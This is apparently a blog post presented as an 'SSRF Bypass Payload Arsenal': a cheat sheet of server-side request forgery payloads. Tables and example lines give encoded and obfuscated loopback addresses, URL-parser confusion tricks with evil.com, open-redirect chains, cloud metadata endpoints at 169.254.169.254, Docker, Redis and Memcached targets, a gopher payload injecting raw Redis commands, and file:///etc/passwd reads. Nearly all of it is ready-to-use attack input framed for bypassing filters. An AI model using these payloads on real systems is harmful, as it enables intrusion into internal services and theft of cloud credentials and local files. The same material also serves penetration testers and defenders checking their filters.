Post

SSRF Bypass Payload Arsenal

SSRF Bypass Payload Arsenal

These help bypass SSRF filters or reach internal services despite basic protections.

Common SSRF Filters You Might Face

  • Allowlist/Blacklist of domain or IP
  • url.startsWith("http://") or regex filtering
  • IP resolution checks (blocking 127.0.0.1, etc.)
  • Schema restrictions (http only)

IP Obfuscation Tricks

FormatPayload ExamplePurpose
Decimalhttp://2130706433/2130706433 = 127.0.0.1
Hexhttp://0x7f000001/Same as 127.0.0.1
Octalhttp://0177.0.0.1/Works if octal parsing is enabled
Mixedhttp://127.1/ , http://127.000.000.001/Abbreviated loopback
Dotted Hexhttp://0x7f.0x00.0x00.0x01/Segment-based hex
IPv6http://[::1]/Loopback IPv6
DNS rebindingPoint DNS to internal IPServer sees public IP but resolves internal
Encoded dotshttp://127%2e0%2e0%2e1/URL-encoded dot bypass

Hostname Tricks

Trick TypeExample
@ Symbol Confusionhttp://127.0.0.1@evil.com/
Reversed @http://evil.com@127.0.0.1/
Fragment Bypasshttp://127.0.0.1#evil.com/
Encoded Fragmenthttp://127.0.0.1%23evil.com/

Redirection & Open Redirect

TypeExample
Redirect → Internalhttp://evil.com/redirect?url=127.0.0.1
Double Redirect Chainevil.com → internal.com → 127.0.0.1
URL Shortener Bypasstinyurl.com/internalip

Redirect Bypass Tricks

1
http://evil.com/redirect?next=http://127.0.0.1/
TrickDescription
Open Redirect + SSRFCombine vulnerable redirect to reach internal resources
Double RedirectRedirects to a URL that further redirects to internal IP
Wildcard DNSUse domains like anything.yourdomain.com to simulate internal subdomains
URL shortenersTinyURL or your own shortener to mask real internal target

URL Parser Confusion Tricks

PayloadBehavior
http://127.0.0.1@evil.com/Looks like internal IP, but resolves to evil.com
http://evil.com@127.0.0.1/Most parsers think host is 127.0.0.1
http://127.0.0.1#evil.com/Fragment ignored by server, only browser cares
http://127.0.0.1%23evil.com/Encoded # to confuse filters

SSRF to Internal Services

| Target | Payload | |–|–| | AWS Metadata | http://169.254.169.254/latest/meta-data/ | | GCP Metadata | http://169.254.169.254/computeMetadata/v1/ (Add Metadata-Flavor: Google ) | | Docker socket | http://localhost:2375/containers/json | | Redis | gopher://127.0.0.1:6379/_PING | | MySQL | mysql://127.0.0.1:3306/ | | Memcached | memcached://127.0.0.1:11211

Protocol Smuggling (Advanced)

If server allows more than http:// , try :

  • file:// – access local files
  • gopher:// – inject raw bytes (Redis, FTP, etc.)
  • dict://127.0.0.1:11211/ – another bypass channel
  • ftp://, sftp://, etc. – protocol abuse

Example :

1
gopher://127.0.0.1:6379/_%2a1%0d%0a%24%34%0d%0aPING%0d%0a
ProtocolPayload Example
file://file:///etc/passwd
gopher://gopher://127.0.0.1:6379/…
dict://dict://127.0.0.1/
ftp://ftp://127.0.0.1/
This post is licensed under CC BY 4.0 by the author.